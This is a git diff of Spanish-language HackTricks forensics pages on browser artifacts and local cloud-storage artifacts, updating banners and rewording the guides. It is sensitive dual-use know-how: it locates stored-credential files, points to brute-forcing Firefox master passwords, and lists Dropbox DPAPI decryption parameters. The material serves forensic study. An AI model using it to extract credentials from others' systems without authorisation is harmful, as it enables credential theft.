-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
index a5e7f23de..598db7953 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
@@ -1,78 +1,79 @@
-# Artefactos del Navegador
+# Browser Artifacts
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
\
-Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
-¡Accede hoy mismo:
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Artefactos de Navegadores
+## Artefactos del Navegador
-Los artefactos del navegador incluyen varios tipos de datos almacenados por los navegadores web, como el historial de navegación, marcadores y datos de caché. Estos artefactos se guardan en carpetas específicas dentro del sistema operativo, con ubicaciones y nombres diferentes en cada navegador, pero generalmente almacenando tipos de datos similares.
+Los artefactos del navegador incluyen varios tipos de datos almacenados por los navegadores web, como el historial de navegación, marcadores y datos de caché. Estos artefactos se mantienen en carpetas específicas dentro del sistema operativo, variando en ubicación y nombre entre navegadores, pero generalmente almacenando tipos de datos similares.
-Aquí tienes un resumen de los artefactos más comunes del navegador:
+Aquí hay un resumen de los artefactos de navegador más comunes:
* **Historial de Navegación**: Registra las visitas del usuario a sitios web, útil para identificar visitas a sitios maliciosos.
-* **Datos de Autocompletar**: Sugerencias basadas en búsquedas frecuentes, ofreciendo información cuando se combina con el historial de navegación.
-* **Marcadores**: Sitios guardados por el usuario para un acceso rápido.
-* **Extensiones y Complementos**: Extensiones del navegador o complementos instalados por el usuario.
-* **Caché**: Almacena contenido web (por ejemplo, imágenes, archivos JavaScript) para mejorar los tiempos de carga del sitio web, valioso para análisis forense.
+* **Datos de Autocompletar**: Sugerencias basadas en búsquedas frecuentes, ofreciendo información cuando se combinan con el historial de navegación.
+* **Marcadores**: Sitios guardados por el usuario para acceso rápido.
+* **Extensiones y Complementos**: Extensiones o complementos del navegador instalados por el usuario.
+* **Caché**: Almacena contenido web (por ejemplo, imágenes, archivos JavaScript) para mejorar los tiempos de carga de los sitios web, valioso para el análisis forense.
* **Inicios de Sesión**: Credenciales de inicio de sesión almacenadas.
-* **Favicons**: Iconos asociados con sitios web, que aparecen en pestañas y marcadores, útiles para obtener información adicional sobre las visitas del usuario.
-* **Sesiones del Navegador**: Datos relacionados con las sesiones del navegador abiertas.
+* **Favicons**: Iconos asociados con sitios web, que aparecen en pestañas y marcadores, útiles para información adicional sobre las visitas del usuario.
+* **Sesiones del Navegador**: Datos relacionados con las sesiones abiertas del navegador.
* **Descargas**: Registros de archivos descargados a través del navegador.
-* **Datos de Formularios**: Información introducida en formularios web, guardada para sugerencias de autocompletar en el futuro.
+* **Datos de Formularios**: Información ingresada en formularios web, guardada para futuras sugerencias de autocompletar.
* **Miniaturas**: Imágenes de vista previa de sitios web.
* **Custom Dictionary.txt**: Palabras añadidas por el usuario al diccionario del navegador.
## Firefox
-Firefox organiza los datos del usuario en perfiles, almacenados en ubicaciones específicas según el sistema operativo:
+Firefox organiza los datos del usuario dentro de perfiles, almacenados en ubicaciones específicas según el sistema operativo:
* **Linux**: `~/.mozilla/firefox/`
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
-Un archivo `profiles.ini` dentro de estos directorios lista los perfiles de usuario. Los datos de cada perfil se almacenan en una carpeta nombrada en la variable `Path` dentro de `profiles.ini`, ubicada en el mismo directorio que `profiles.ini` en sí. Si falta la carpeta de un perfil, es posible que haya sido eliminada.
+Un archivo `profiles.ini` dentro de estos directorios lista los perfiles de usuario. Los datos de cada perfil se almacenan en una carpeta nombrada en la variable `Path` dentro de `profiles.ini`, ubicada en el mismo directorio que `profiles.ini` mismo. Si falta la carpeta de un perfil, puede haber sido eliminada.
Dentro de cada carpeta de perfil, puedes encontrar varios archivos importantes:
* **places.sqlite**: Almacena historial, marcadores y descargas. Herramientas como [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) en Windows pueden acceder a los datos del historial.
-* Utiliza consultas SQL específicas para extraer información del historial y descargas.
+* Usa consultas SQL específicas para extraer información de historial y descargas.
* **bookmarkbackups**: Contiene copias de seguridad de marcadores.
* **formhistory.sqlite**: Almacena datos de formularios web.
-* **handlers.json**: Gestiona los manejadores de protocolo.
-* **persdict.dat**: Palabras personalizadas del diccionario.
-* **addons.json** y **extensions.sqlite**: Información sobre extensiones y complementos instalados.
+* **handlers.json**: Gestiona los controladores de protocolo.
+* **persdict.dat**: Palabras del diccionario personalizado.
+* **addons.json** y **extensions.sqlite**: Información sobre complementos y extensiones instalados.
* **cookies.sqlite**: Almacenamiento de cookies, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible para inspección en Windows.
* **cache2/entries** o **startupCache**: Datos de caché, accesibles a través de herramientas como [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
* **favicons.sqlite**: Almacena favicons.
-* **prefs.js**: Ajustes y preferencias del usuario.
+* **prefs.js**: Configuraciones y preferencias del usuario.
* **downloads.sqlite**: Base de datos de descargas antiguas, ahora integrada en places.sqlite.
* **thumbnails**: Miniaturas de sitios web.
* **logins.json**: Información de inicio de sesión encriptada.
-* **key4.db** o **key3.db**: Almacena claves de cifrado para asegurar información sensible.
+* **key4.db** o **key3.db**: Almacena claves de encriptación para asegurar información sensible.
-Además, verificar la configuración de antiphishing del navegador se puede hacer buscando entradas `browser.safebrowsing` en `prefs.js`, indicando si las funciones de navegación segura están habilitadas o deshabilitadas.
+Además, verificar la configuración de anti-phishing del navegador se puede hacer buscando entradas `browser.safebrowsing` en `prefs.js`, indicando si las funciones de navegación segura están habilitadas o deshabilitadas.
Para intentar descifrar la contraseña maestra, puedes usar [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
-Con el siguiente script y llamada puedes especificar un archivo de contraseña para realizar un ataque de fuerza bruta:
+Con el siguiente script y llamada puedes especificar un archivo de contraseña para hacer fuerza bruta:
{% code title="brute.sh" %}
```bash
@@ -97,82 +98,82 @@ Google Chrome almacena perfiles de usuario en ubicaciones específicas según el
* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
-Dentro de estos directorios, la mayoría de los datos de usuario se encuentran en las carpetas **Default/** o **ChromeDefaultData/**. Los siguientes archivos contienen datos significativos:
+Dentro de estos directorios, la mayoría de los datos del usuario se pueden encontrar en las carpetas **Default/** o **ChromeDefaultData/**. Los siguientes archivos contienen datos significativos:
-* **Historial**: Contiene URLs, descargas y palabras clave de búsqueda. En Windows, se puede utilizar [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) para leer el historial. La columna "Tipo de transición" tiene varios significados, incluidos clics de usuario en enlaces, URLs escritas, envíos de formularios y recargas de página.
-* **Cookies**: Almacena cookies. Para inspeccionarlas, está disponible [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
-* **Caché**: Contiene datos en caché. Para inspeccionarlos, los usuarios de Windows pueden utilizar [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
-* **Marcadores**: Marcadores del usuario.
-* **Datos web**: Contiene historial de formularios.
+* **History**: Contiene URLs, descargas y palabras clave de búsqueda. En Windows, se puede usar [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) para leer el historial. La columna "Transition Type" tiene varios significados, incluyendo clics del usuario en enlaces, URLs escritas, envíos de formularios y recargas de página.
+* **Cookies**: Almacena cookies. Para inspección, está disponible [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
+* **Cache**: Contiene datos en caché. Para inspeccionar, los usuarios de Windows pueden utilizar [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
+* **Bookmarks**: Marcadores del usuario.
+* **Web Data**: Contiene el historial de formularios.
* **Favicons**: Almacena favicons de sitios web.
-* **Datos de inicio de sesión**: Incluye credenciales de inicio de sesión como nombres de usuario y contraseñas.
-* **Sesión actual**/**Pestañas actuales**: Datos sobre la sesión de navegación actual y las pestañas abiertas.
-* **Última sesión**/**Últimas pestañas**: Información sobre los sitios activos durante la última sesión antes de que se cerrara Chrome.
-* **Extensiones**: Directorios para extensiones y complementos del navegador.
-* **Miniaturas**: Almacena miniaturas de sitios web.
-* **Preferencias**: Un archivo rico en información, que incluye configuraciones para complementos, extensiones, ventanas emergentes, notificaciones y más.
-* **Antiphishing integrado del navegador**: Para verificar si la protección contra phishing y malware está habilitada, ejecuta `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Busca `{"enabled: true,"}` en la salida.
+* **Login Data**: Incluye credenciales de inicio de sesión como nombres de usuario y contraseñas.
+* **Current Session**/**Current Tabs**: Datos sobre la sesión de navegación actual y las pestañas abiertas.
+* **Last Session**/**Last Tabs**: Información sobre los sitios activos durante la última sesión antes de que se cerrara Chrome.
+* **Extensions**: Directorios para extensiones y complementos del navegador.
+* **Thumbnails**: Almacena miniaturas de sitios web.
+* **Preferences**: Un archivo rico en información, incluyendo configuraciones para complementos, extensiones, ventanas emergentes, notificaciones y más.
+* **Browser’s built-in anti-phishing**: Para verificar si la protección contra phishing y malware está habilitada, ejecute `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Busque `{"enabled: true,"}` en la salida.
-## **Recuperación de datos de bases de datos SQLite**
+## **Recuperación de Datos de SQLite DB**
Como se puede observar en las secciones anteriores, tanto Chrome como Firefox utilizan bases de datos **SQLite** para almacenar los datos. Es posible **recuperar entradas eliminadas utilizando la herramienta** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
-Internet Explorer 11 gestiona sus datos y metadatos en varias ubicaciones, lo que ayuda a separar la información almacenada y sus detalles correspondientes para facilitar el acceso y la gestión.
+Internet Explorer 11 gestiona sus datos y metadatos en varias ubicaciones, ayudando a separar la información almacenada y sus detalles correspondientes para un fácil acceso y gestión.
-### Almacenamiento de metadatos
+### Almacenamiento de Metadatos
-Los metadatos de Internet Explorer se almacenan en `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (siendo VX V01, V16 o V24). Además, el archivo `V01.log` puede mostrar discrepancias en la hora de modificación con `WebcacheVX.data`, lo que indica la necesidad de reparación utilizando `esentutl /r V01 /d`. Estos metadatos, alojados en una base de datos ESE, pueden recuperarse e inspeccionarse utilizando herramientas como photorec y [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), respectivamente. Dentro de la tabla **Containers**, se puede discernir las tablas o contenedores específicos donde se almacena cada segmento de datos, incluidos detalles de caché para otras herramientas de Microsoft como Skype.
+Los metadatos para Internet Explorer se almacenan en `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (siendo VX V01, V16 o V24). Acompañando esto, el archivo `V01.log` puede mostrar discrepancias en el tiempo de modificación con `WebcacheVX.data`, indicando la necesidad de reparación usando `esentutl /r V01 /d`. Estos metadatos, alojados en una base de datos ESE, pueden ser recuperados e inspeccionados utilizando herramientas como photorec y [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), respectivamente. Dentro de la tabla **Containers**, se puede discernir las tablas o contenedores específicos donde se almacena cada segmento de datos, incluyendo detalles de caché para otras herramientas de Microsoft como Skype.
-### Inspección de caché
+### Inspección de Caché
-La herramienta [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) permite la inspección de la caché, requiriendo la ubicación de la carpeta de extracción de datos de caché. Los metadatos de la caché incluyen nombre de archivo, directorio, recuento de accesos, origen de URL y marcas de tiempo que indican la creación de la caché, acceso, modificación y tiempos de caducidad.
+La herramienta [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) permite la inspección de caché, requiriendo la ubicación de la carpeta de extracción de datos de caché. Los metadatos de caché incluyen nombre de archivo, directorio, conteo de accesos, origen de URL y marcas de tiempo que indican los tiempos de creación, acceso, modificación y expiración de la caché.
-### Gestión de cookies
+### Gestión de Cookies
-Las cookies se pueden explorar utilizando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadatos que abarcan nombres, URLs, recuentos de accesos y varios detalles relacionados con el tiempo. Las cookies persistentes se almacenan en `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mientras que las cookies de sesión residen en la memoria.
+Las cookies se pueden explorar utilizando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadatos que abarcan nombres, URLs, conteos de acceso y varios detalles relacionados con el tiempo. Las cookies persistentes se almacenan en `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mientras que las cookies de sesión residen en la memoria.
-### Detalles de descargas
+### Detalles de Descarga
Los metadatos de descargas son accesibles a través de [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), con contenedores específicos que contienen datos como URL, tipo de archivo y ubicación de descarga. Los archivos físicos se pueden encontrar en `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
-### Historial de navegación
+### Historial de Navegación
-Para revisar el historial de navegación, se puede utilizar [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), que requiere la ubicación de los archivos de historial extraídos y la configuración para Internet Explorer. Los metadatos aquí incluyen tiempos de modificación y acceso, junto con recuentos de acceso. Los archivos de historial se encuentran en `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
+Para revisar el historial de navegación, se puede usar [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), requiriendo la ubicación de los archivos de historial extraídos y la configuración para Internet Explorer. Los metadatos aquí incluyen tiempos de modificación y acceso, junto con conteos de acceso. Los archivos de historial se encuentran en `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
-### URLs escritas
+### URLs Escritas
-Las URLs escritas y sus tiempos de uso se almacenan en el registro en `NTUSER.DAT` en `Software\Microsoft\InternetExplorer\TypedURLs` y `Software\Microsoft\InternetExplorer\TypedURLsTime`, rastreando las últimas 50 URLs ingresadas por el usuario y sus últimos tiempos de entrada.
+Las URLs escritas y sus tiempos de uso se almacenan en el registro bajo `NTUSER.DAT` en `Software\Microsoft\InternetExplorer\TypedURLs` y `Software\Microsoft\InternetExplorer\TypedURLsTime`, rastreando las últimas 50 URLs ingresadas por el usuario y sus últimos tiempos de entrada.
## Microsoft Edge
Microsoft Edge almacena datos de usuario en `%userprofile%\Appdata\Local\Packages`. Las rutas para varios tipos de datos son:
-* **Ruta del perfil**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
-* **Historial, Cookies y Descargas**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
-* **Configuraciones, Marcadores y Lista de lectura**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
-* **Caché**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
-* **Últimas sesiones activas**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
+* **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
+* **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
+* **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
+* **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
+* **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari
Los datos de Safari se almacenan en `/Users/$User/Library/Safari`. Los archivos clave incluyen:
-* **History.db**: Contiene tablas `history_visits` y `history_items` con URLs y marcas de tiempo de visita. Usa `sqlite3` para consultar.
+* **History.db**: Contiene tablas `history_visits` y `history_items` con URLs y marcas de tiempo de visita. Use `sqlite3` para consultar.
* **Downloads.plist**: Información sobre archivos descargados.
* **Bookmarks.plist**: Almacena URLs marcadas.
* **TopSites.plist**: Sitios más visitados.
-* **Extensions.plist**: Lista de extensiones del navegador Safari. Usa `plutil` o `pluginkit` para recuperar.
-* **UserNotificationPermissions.plist**: Dominios permitidos para enviar notificaciones. Usa `plutil` para analizar.
-* **LastSession.plist**: Pestañas de la última sesión. Usa `plutil` para analizar.
-* **Antiphishing integrado del navegador**: Verifica usando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una respuesta de 1 indica que la función está activa.
+* **Extensions.plist**: Lista de extensiones del navegador Safari. Use `plutil` o `pluginkit` para recuperar.
+* **UserNotificationPermissions.plist**: Dominios permitidos para enviar notificaciones. Use `plutil` para analizar.
+* **LastSession.plist**: Pestañas de la última sesión. Use `plutil` para analizar.
+* **Browser’s built-in anti-phishing**: Verifique usando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una respuesta de 1 indica que la función está activa.
## Opera
-Los datos de Opera residen en `/Users/$USER/Library/Application Support/com.operasoftware.Opera` y comparten el formato de Chrome para historial y descargas.
+Los datos de Opera residen en `/Users/$USER/Library/Application Support/com.operasoftware.Opera` y comparte el formato de Chrome para historial y descargas.
-* **Antiphishing integrado del navegador**: Verifica si `fraud_protection_enabled` en el archivo de Preferencias está configurado en `true` usando `grep`.
+* **Browser’s built-in anti-phishing**: Verifique comprobando si `fraud_protection_enabled` en el archivo de Preferencias está configurado como `true` usando `grep`.
Estas rutas y comandos son cruciales para acceder y comprender los datos de navegación almacenados por diferentes navegadores web.
@@ -186,18 +187,22 @@ Estas rutas y comandos son cruciales para acceder y comprender los datos de nave
\
-Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
-Accede hoy mismo:
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** impulsados por las **herramientas más avanzadas** de la comunidad.\
+Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+Apoya a HackTricks
+
+* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
index 7b29aaeb9..db9467f56 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
@@ -1,24 +1,25 @@
# Almacenamiento en la Nube Local
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta convertirte en un experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+{% endhint %}
\
-Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
-¡Accede hoy mismo:
+Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las **herramientas comunitarias más avanzadas** del mundo.\
+Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -33,22 +34,22 @@ En Windows, puedes encontrar la carpeta de OneDrive en `\Users\\AppDat
* Número de archivos en la carpeta
* **CID**: ID único del usuario de OneDrive
* Hora de generación del informe
-* Tamaño del disco duro del sistema operativo
+* Tamaño del HD del sistema operativo
-Una vez que hayas encontrado el CID, se recomienda **buscar archivos que contengan este ID**. Es posible que encuentres archivos con nombres como: _**\.ini**_ y _**\.dat**_ que pueden contener información interesante como los nombres de los archivos sincronizados con OneDrive.
+Una vez que hayas encontrado el CID, se recomienda **buscar archivos que contengan este ID**. Es posible que encuentres archivos con el nombre: _**\.ini**_ y _**\.dat**_ que pueden contener información interesante como los nombres de los archivos sincronizados con OneDrive.
## Google Drive
En Windows, puedes encontrar la carpeta principal de Google Drive en `\Users\\AppData\Local\Google\Drive\user_default`\
Esta carpeta contiene un archivo llamado Sync\_log.log con información como la dirección de correo electrónico de la cuenta, nombres de archivos, marcas de tiempo, hashes MD5 de los archivos, etc. Incluso los archivos eliminados aparecen en ese archivo de registro con su correspondiente MD5.
-El archivo **`Cloud_graph\Cloud_graph.db`** es una base de datos sqlite que contiene la tabla **`cloud_graph_entry`**. En esta tabla puedes encontrar el **nombre** de los **archivos sincronizados**, la hora de modificación, el tamaño y el checksum MD5 de los archivos.
+El archivo **`Cloud_graph\Cloud_graph.db`** es una base de datos sqlite que contiene la tabla **`cloud_graph_entry`**. En esta tabla puedes encontrar el **nombre** de los **archivos sincronizados**, tiempo de modificación, tamaño y el checksum MD5 de los archivos.
Los datos de la tabla de la base de datos **`Sync_config.db`** contienen la dirección de correo electrónico de la cuenta, la ruta de las carpetas compartidas y la versión de Google Drive.
## Dropbox
-Dropbox utiliza **bases de datos SQLite** para gestionar los archivos. En esta\
+Dropbox utiliza **bases de datos SQLite** para gestionar los archivos. En este\
Puedes encontrar las bases de datos en las carpetas:
* `\Users\\AppData\Local\Dropbox`
@@ -64,73 +65,74 @@ Y las bases de datos principales son:
La extensión ".dbx" significa que las **bases de datos** están **encriptadas**. Dropbox utiliza **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
-Para comprender mejor la encriptación que utiliza Dropbox, puedes leer [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
+Para entender mejor la encriptación que utiliza Dropbox, puedes leer [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Sin embargo, la información principal es:
* **Entropía**: d114a55212655f74bd772e37e64aee9b
-* **Salt**: 0D638C092E8B82FC452883F95F355B8E
+* **Sal**: 0D638C092E8B82FC452883F95F355B8E
* **Algoritmo**: PBKDF2
* **Iteraciones**: 1066
-Además de esa información, para descifrar las bases de datos aún necesitas:
+Aparte de esa información, para desencriptar las bases de datos aún necesitas:
* La **clave DPAPI encriptada**: Puedes encontrarla en el registro dentro de `NTUSER.DAT\Software\Dropbox\ks\client` (exporta estos datos como binarios)
-* Las colmenas **`SYSTEM`** y **`SECURITY`**
+* Los **hives** de **`SYSTEM`** y **`SECURITY`**
